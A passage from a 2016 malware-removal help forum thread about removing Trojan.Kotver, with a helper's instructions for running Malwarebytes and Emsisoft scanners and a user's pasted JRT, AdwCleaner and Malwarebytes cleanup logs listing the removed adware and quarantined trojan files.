NOTE: If you see AVG Secure Search being targeted for deletion, Here's Why and Here. You can always Reinstall it.

LAST >>>>

Malwarebytes' Anti-Malware
Please download the latest version of Malwarebytes' Anti-Malware from Here.

Double Click on the mbam-setup.exe file to install the application.

Make sure a checkmark is placed next to Update Malwarebytes' Anti-Malware and Launch Malwarebytes' Anti-Malware, then click Finish.

If an update is found, it will download and install the latest version.

When the main screen opens, if the database is out of date, you can click on the Fix Now banner or the Update Now link

Once the program has loaded and updated, select "Scan Now >>" to start the scan.

The scan may take some time to finish, so please be patient.

If any malware is found, you will be presented with a screen like the one below.

If any malware is found, make sure that everything is checked, and click Remove Selected.
When the scan is complete, click View detailed log >> to view the results.
The report screen will open.
At the bottom click on Export and select as txt file, save the file to your desktop and click OK. When the export is complete, select OPEN.
The log file will be opened in your default text file viewer (usually Notepad); select the whole text (Ctrl + A) and copy (Ctrl + c) it to paste here in a reply.

sasha22
New Helpee

Posts: 12

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 29, 2016 7:42:23 GMT -8

Post by sasha22 on Oct 29, 2016 7:42:23 GMT -8

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Malwarebytes
Version: 8.0.9 (09.30.2016)
Operating System: Windows 7 Home Premium x64
Ran by Sasha22 (Administrator) on Sat 10/29/2016 at 9:58:30.63
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

File System: 32

Failed to delete: C:\Users\Sasha22\AppData\Local\tempdir (Folder)
Successfully deleted: C:\ProgramData\alawar (Folder)
Successfully deleted: C:\ProgramData\alawarwrapper (Folder)
Successfully deleted: C:\ProgramData\partner (Folder)
Successfully deleted: C:\ProgramData\trymedia (Folder)
Successfully deleted: C:\users\Public\Documents\alawarwrapper (Folder)
Successfully deleted: C:\users\Public\Documents\downloaded installers (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\alawarwrapper (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\packageaware (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\slimware utilities inc (Folder)
Successfully deleted: C:\Users\Sasha22\Appdata\LocalLow\bfgbar (Folder)
Successfully deleted: C:\Users\Sasha22\Appdata\LocalLow\conduit (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Roaming\alawar (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Roaming\alawarentertainment (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Roaming\iwin (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Roaming\Mozilla\Firefox\Profiles\components\yahoo-search.xml (File)
Successfully deleted: C:\Users\Sasha22\AppData\Roaming\registry mechanic (Folder)
Successfully deleted: C:\Windows\reimage.ini (File)
Successfully deleted: C:\Windows\Tasks\BeFrugal.com Toolbar.job (Task)
Successfully deleted: C:\Windows\wininit.ini (File)
Successfully deleted: C:\Program Files (x86)\bfgbar (Folder)
Successfully deleted: C:\Program Files (x86)\driverupdate (Folder)
Successfully deleted: C:\Program Files (x86)\gamingwonderlandei (Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0EEVTZJP (Temporary Internet Files Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0WO0O62J (Temporary Internet Files Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2ZRGOZE7 (Temporary Internet Files Folder)
Successfully deleted: C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H7EOH612 (Temporary Internet Files Folder)
Successfully deleted: C:\Windows\prefetch\COUPONS.COMTOOLBARHELPER.EXE-D578233D.pf (File)
Successfully deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0EEVTZJP (Temporary Internet Files Folder)
Successfully deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0WO0O62J (Temporary Internet Files Folder)
Successfully deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2ZRGOZE7 (Temporary Internet Files Folder)
Successfully deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H7EOH612 (Temporary Internet Files Folder)

Registry: 1

Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{AFBCB7E0-F91A-4951-9F31-58FEE57A25C4} (Registry Key)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on Sat 10/29/2016 at 10:02:01.45
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# AdwCleaner v6.030 - Logfile created 29/10/2016 at 10:37:04
# Updated on 19/10/2016 by Malwarebytes
# Database : 2016-10-28.2 [Server]
# Operating System : Windows 7 Home Premium Service Pack 1 (X64)
# Username : Sasha22 - SASHA22-PC
# Running from : C:\Users\Sasha22\Desktop\adwcleaner_6.030.exe
# Mode: Clean
# Support : hxxps://www.malwarebytes.com/support

***** [ Services ] *****

***** [ Folders ] *****

[-] Folder deleted: C:\Users\Sasha22\AppData\LocalLow\HPAppData
[-] Folder deleted: C:\Users\Sasha22\AppData\LocalLow\Yahoo!\Companion
[-] Folder deleted: C:\Users\Sasha22\AppData\Roaming\quickclick
[-] Folder deleted: C:\Users\Sasha22\AppData\Roaming\Yahoo!\Companion
[-] Folder deleted: C:\Users\Sasha22\AppData\Roaming\Pogo Games
[-] Folder deleted: C:\ProgramData\quickclick
[#] Folder deleted on reboot: C:\ProgramData\Application Data\quickclick
[-] Folder deleted: C:\Users\Public\Documents\iWin

***** [ Files ] *****

[-] File deleted: C:\Users\Sasha22\AppData\LocalLow\Microsoft\Internet Explorer\Services\Search_ask.com.xml

***** [ DLL ] *****

***** [ WMI ] *****

***** [ Shortcuts ] *****

***** [ Scheduled Tasks ] *****

***** [ Registry ] *****

[-] Key deleted: HKLM\SOFTWARE\Classes\Toolbar.CT2559647
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\gamingwonderland.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\myway.com
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\mywebface.com
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{31bb1be0-1fc3-4279-a659-2b3ea16bc7ca}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{82024f98-f9fb-47f4-860f-887e41883c9d}
[-] Key deleted: HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar
[-] Key deleted: HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar.1
[#] Key deleted on reboot: [x64] HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar
[#] Key deleted on reboot: [x64] HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar.1
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{28FF42B8-A0DA-4BE5-9B81-E26DD59B350A}
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{7D831388-D405-4272-9511-A07440AD2927}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{3BF72F68-72D8-461D-A884-329D936C5581}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{78E9D883-93CD-4072-BEF3-38EE581E2839}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{83AC1413-FCE4-4A46-9DD5-4F31F306E71F}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{DE9028D0-5FFA-4E69-94E3-89EE8741F468}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{5D637FAD-E202-48D1-8F18-5B9C459BD1E3}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{F51C15D4-3D0A-4DBA-A095-EBCC09F24DA2}
[-] Key deleted: HKLM\SOFTWARE\Classes\Interface\{03E2A1F3-4402-4121-8B35-733216D61217}
[-] Key deleted: HKLM\SOFTWARE\Classes\Interface\{9E3B11F6-4179-4603-A71B-A55F4BCB0BEC}
[-] Key deleted: HKLM\SOFTWARE\Classes\Interface\{9BB31AD8-5DB2-459E-A901-DEA536F23BA4}
[-] Key deleted: HKLM\SOFTWARE\Classes\Interface\{BD51A48E-EB5F-4454-8774-EF962DF64546}
[-] Key deleted: HKLM\SOFTWARE\Classes\Interface\{8233093C-178B-484B-979E-3C6B5B147DBC}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{9C049BA6-EA47-4AC3-AED6-A66D8DC9E1D8}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{C4C4F1F4-3074-4CB6-9FB8-0A64273166F0}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{FA6468D2-FAA4-4951-A53B-2A5CF9CC0A36}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{B722ED8B-0B38-408E-BB89-260C73BCF3D4}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Code Store Database\Distribution Units\{5D637FAD-E202-48D1-8F18-5B9C459BD1E3}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{AB6BD08C-DB6B-4F02-8A22-4BD343E990FF}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{F25AF245-4A81-40DC-92F9-E9021F207706}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{AB5D199E-9659-47A2-930B-FC3B69061353}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{5D637FAD-E202-48D1-8F18-5B9C459BD1E3}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{AB6BD08C-DB6B-4F02-8A22-4BD343E990FF}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{F25AF245-4A81-40DC-92F9-E9021F207706}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{AB5D199E-9659-47A2-930B-FC3B69061353}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{5D637FAD-E202-48D1-8F18-5B9C459BD1E3}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{02478D38-C3F9-4EFB-9B51-7695ECA05670}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{EF99BD32-C1FB-11D2-892F-0090271D4F88}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\BEFRUGAL
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\Reimage
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\SlimWare Utilities Inc
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\Yahoo\Companion
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\Yahoo\YFriendsBar
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\YahooPartnerToolbar
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\Local AppWizard-Generated Applications\Reimage - Windows Problem Relief.
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\AppDataLow\Software\ConduitSearchScopes
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\AppDataLow\Software\Crossrider
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\AppDataLow\Software\Freecause
[-] Key deleted: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\AppDataLow\Software\Yahoo\Companion
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\BEFRUGAL
[#] Key deleted on reboot: HKCU\Software\BEFRUGAL
[#] Key deleted on reboot: HKCU\Software\Reimage
[#] Key deleted on reboot: HKCU\Software\SlimWare Utilities Inc
[#] Key deleted on reboot: HKCU\Software\Yahoo\Companion
[#] Key deleted on reboot: HKCU\Software\Yahoo\YFriendsBar
[#] Key deleted on reboot: HKCU\Software\YahooPartnerToolbar
[#] Key deleted on reboot: HKCU\Software\Local AppWizard-Generated Applications\Reimage - Windows Problem Relief.
[#] Key deleted on reboot: HKCU\Software\AppDataLow\Software\ConduitSearchScopes
[#] Key deleted on reboot: HKCU\Software\AppDataLow\Software\Crossrider
[#] Key deleted on reboot: HKCU\Software\AppDataLow\Software\Freecause
[#] Key deleted on reboot: HKCU\Software\AppDataLow\Software\Yahoo\Companion
[-] Key deleted: HKLM\SOFTWARE\Conduit
[-] Key deleted: HKLM\SOFTWARE\Freeze.com
[-] Key deleted: HKLM\SOFTWARE\SlimWare Utilities Inc
[-] Key deleted: HKLM\SOFTWARE\Trymedia Systems
[-] Key deleted: HKLM\SOFTWARE\W3I
[-] Key deleted: HKLM\SOFTWARE\Yahoo\Companion
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{EE171732-BEB4-4576-887D-CB62727F01CA}
[#] Key deleted on reboot: [x64] HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2287122347-3831853411-1151728686-1001\Software\BEFRUGAL
[#] Key deleted on reboot: [x64] HKCU\Software\BEFRUGAL
[#] Key deleted on reboot: [x64] HKCU\Software\Reimage
[#] Key deleted on reboot: [x64] HKCU\Software\SlimWare Utilities Inc
[#] Key deleted on reboot: [x64] HKCU\Software\Yahoo\Companion
[#] Key deleted on reboot: [x64] HKCU\Software\Yahoo\YFriendsBar
[#] Key deleted on reboot: [x64] HKCU\Software\YahooPartnerToolbar
[#] Key deleted on reboot: [x64] HKCU\Software\Local AppWizard-Generated Applications\Reimage - Windows Problem Relief.
[#] Key deleted on reboot: [x64] HKCU\Software\AppDataLow\Software\ConduitSearchScopes
[#] Key deleted on reboot: [x64] HKCU\Software\AppDataLow\Software\Crossrider
[#] Key deleted on reboot: [x64] HKCU\Software\AppDataLow\Software\Freecause
[#] Key deleted on reboot: [x64] HKCU\Software\AppDataLow\Software\Yahoo\Companion
[-] Key deleted: [x64] HKLM\SOFTWARE\Reimage
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{AFBCB7E0-F91A-4951-9F31-58FEE57A25C4}
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\DOMStorage\azlyrics.com
[#] Key deleted on reboot: [x64] HKCU\Software\Microsoft\Internet Explorer\DOMStorage\azlyrics.com
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\REI_AxControl.DLL
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\YMERemote.DLL
[-] Value deleted: HKLM\SOFTWARE\Microsoft\Internet Explorer\New Windows\Allow [*.crossrider.com]

***** [ Web browsers ] *****

*************************

:: "Tracing" keys deleted
:: Winsock settings cleared

*************************

C:\AdwCleaner\AdwCleaner[C0].txt - [9342 Bytes] - [29/10/2016 10:37:04]
C:\AdwCleaner\AdwCleaner[S0].txt - [8943 Bytes] - [29/10/2016 10:32:33]

########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [9488 Bytes] ##########

Malwarebytes Anti-Malware
www.malwarebytes.org

Scan Date: 10/29/2016
Scan Time: 11:00 AM
Logfile: malwarebytes scan 10-29-2016.txt
Administrator: Yes

Version: 2.2.1.1043
Malware Database: v2016.10.29.05
Rootkit Database: v2016.09.26.02
License: Trial
Malware Protection: Enabled
Malicious Website Protection: Enabled
Self-protection: Disabled

OS: Windows 7 Service Pack 1
CPU: x64
File System: NTFS
User: Sasha22

Scan Type: Threat Scan
Result: Completed
Objects Scanned: 388222
Time Elapsed: 14 min, 1 sec

Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

Processes: 0
(No malicious items detected)

Modules: 0
(No malicious items detected)

Registry Keys: 5
PUP.Optional.MyScrapNook, HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\STATS\{0A4D512D-697E-4AD5-872D-5A9941AF6EBB}, Quarantined, [7c7d0b93504afa3c6993068bd72be61a],
Adware.GamePlayLabs, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\{65bcd620-07dd-012f-819f-073cf1b8f7c6}, Quarantined, [b148732bdbbf2511cd1a950209f9f907],
PUP.Optional.MyScrapNook, HKLM\SOFTWARE\CLASSES\INTERFACE\{82024F98-F9FB-47F4-860F-887E41883C9D}, Quarantined, [82773a644f4bb18545bc69290101a858],
PUP.Optional.MyScrapNook, HKLM\SOFTWARE\CLASSES\TypeLib\{C260ADF2-154F-4227-9C73-651E25F22CBB}, Quarantined, [c3367925d9c1ce6852afafe3b54d09f7],
PUP.Optional.Telstra.ChrPRST, HKLM\SOFTWARE\WOW6432NODE\GOOGLE\CHROME\EXTENSIONS\edmgmpmklgfbohogafcfobonnkogchec, Quarantined, [20d927774c4e0f27af7dc61b2bd8e020],

Registry Values: 0
(No malicious items detected)

Registry Data: 0
(No malicious items detected)

Folders: 5
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS, Quarantined, [9d5c2d712476e4523b95c004a75b6898],

Files: 41
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00003460.tmp, Quarantined, [ad4cb7e78218f046a8d5324fd72a15eb],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00003467.tmp, Quarantined, [5b9e732b7426d95d82fb51309869ba46],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00008870.tmp, Quarantined, [b544930b3c5e62d44f2e6120a65bb44c],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00010823.tmp, Quarantined, [6f8a89158f0bdb5b86f70e7317ea9f61],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00014461.tmp, Quarantined, [7683801e7b1fff37730a1d647f82758b],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00016130.tmp, Quarantined, [da1fb2ecd3c7c96d5d20532e19e855ab],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00018047.tmp, Quarantined, [6f8ae2bc6e2c6bcbaad3cdb4c83943bd],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00018683.tmp, Quarantined, [7188dac4a9f11c1a49347b06f20f4ab6],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00020233.tmp, Quarantined, [e712722cf2a89b9b0f6e6b161de4af51],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00020331.tmp, Quarantined, [b9400d915a4022149ce19ce5eb166799],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00022387.tmp, Quarantined, [8871b8e6722805316a136a178e73eb15],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00024186.tmp, Quarantined, [807987179505f541e895621f4cb59967],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00026358.tmp, Quarantined, [1edb613df3a751e5324b720fa45d10f0],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00027024.tmp, Quarantined, [42b7e1bd5a401d19b9c4b2cf1ee34ab6],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00029836.tmp, Quarantined, [8673c3dba4f6d264b2cb58293dc4aa56],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00030085.tmp, Quarantined, [8277128c5d3d74c21e5fceb33cc5629e],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00031393.tmp, Quarantined, [9069742abae07cba76078100f908ea16],
Trojan.Agent.ENM, C:\Program Files (x86)\Internet Explorer\00031478.tmp, Quarantined, [6495a3fb59410b2b700db7ca7d8429d7],
Adware.TryMedia, C:\Users\Public\Downloads\BigCityAdventureSF_EN-dm.exe, Quarantined, [6297623ca0faee48bc728652fb06b050],
Adware.TryMedia, C:\Users\Public\Downloads\DeepVoyage-dm.exe, Quarantined, [11e807973664c670dd51894f9f626e92],
Adware.TryMedia, C:\Users\Public\Downloads\SolitaireChallenge-dm.exe, Quarantined, [d326237b039771c51b133c9cd031b947],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\manifest.json, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\motiverequest.html, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Entries, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Entries.Extra, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Entries.Extra.Old, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Entries.Old, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Repository, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Root, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Tag, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_0\CVS\Template, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\manifest.json, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\motiverequest.html, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Entries, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Entries.Extra, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Entries.Extra.Old, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Entries.Old, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Repository, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Root, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Tag, Quarantined, [9d5c2d712476e4523b95c004a75b6898],
PUP.Optional.Telstra.ChrPRST, C:\Users\Sasha22\AppData\Local\Google\Chrome\User Data\Default\Extensions\edmgmpmklgfbohogafcfobonnkogchec\1.0_1\CVS\Template, Quarantined, [9d5c2d712476e4523b95c004a75b6898],

Physical Sectors: 0
(No malicious items detected)

(end)

Hope this is it.

Thanks for all your help.

Sasha22

sasha22
New Helpee

Posts: 12

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 29, 2016 7:59:56 GMT -8

Post by sasha22 on Oct 29, 2016 7:59:56 GMT -8

Should I now delete all the files I created for this issue?

FRST64.exe

FRST.txt

addition.txt

fixlog.txt

JRT.exe

JRT.txt

adwcleaner_6.030.exe

adwCleaner (CO).txt

malwarebytes scan 10-29-2016.txt

Again, thank you so much

Sasha22

dbrisen
Malware Removalists

Posts: 3,688

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 29, 2016 18:40:06 GMT -8

Post by dbrisen on Oct 29, 2016 18:40:06 GMT -8

Do not remove the work files yet; we may need them later on. Besides, I like to use a cleanup tool that removes the malware fighting tools, logs and any system setting changes that were made. I will direct you in running that tool soon.

Go to Emsisoft and download the Emsisoft Free Emergency Kit from here.

Double click on the EmsisoftEmergencyKit.exe file and then click on Extract to unpack the files (the default directory of C:\EEK is fine).
Go to the new directory and right click on Start Emergency Kit Scanner.exe and choose 'Run as Administrator'.
Once the scanner loads, allow it check for updates.
When the updates are finished, click the BACK button to return to the main menu.
Click on the SCAN and select Malware Scan to start scanning your system. Please enable the PUP detection option, if it asks.
If the scan finds anything, it will open a scan finding window. Please click on View Report; copy this report and paste it here in reply post.
Please close the Emergency Kit Scanner program now.

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2

Post by sasha22 on Oct 24, 2016 9:45:11 GMT -8

Post by dbrisen on Oct 24, 2016 21:35:44 GMT -8

Post by sasha22 on Oct 25, 2016 8:14:26 GMT -8

Post by dbrisen on Oct 25, 2016 20:39:09 GMT -8

Post by sasha22 on Oct 26, 2016 6:24:04 GMT -8

Post by sasha22 on Oct 26, 2016 6:33:41 GMT -8

Post by dbrisen on Oct 27, 2016 7:43:45 GMT -8

Post by sasha22 on Oct 29, 2016 7:42:23 GMT -8

Post by sasha22 on Oct 29, 2016 7:59:56 GMT -8

Post by dbrisen on Oct 29, 2016 18:40:06 GMT -8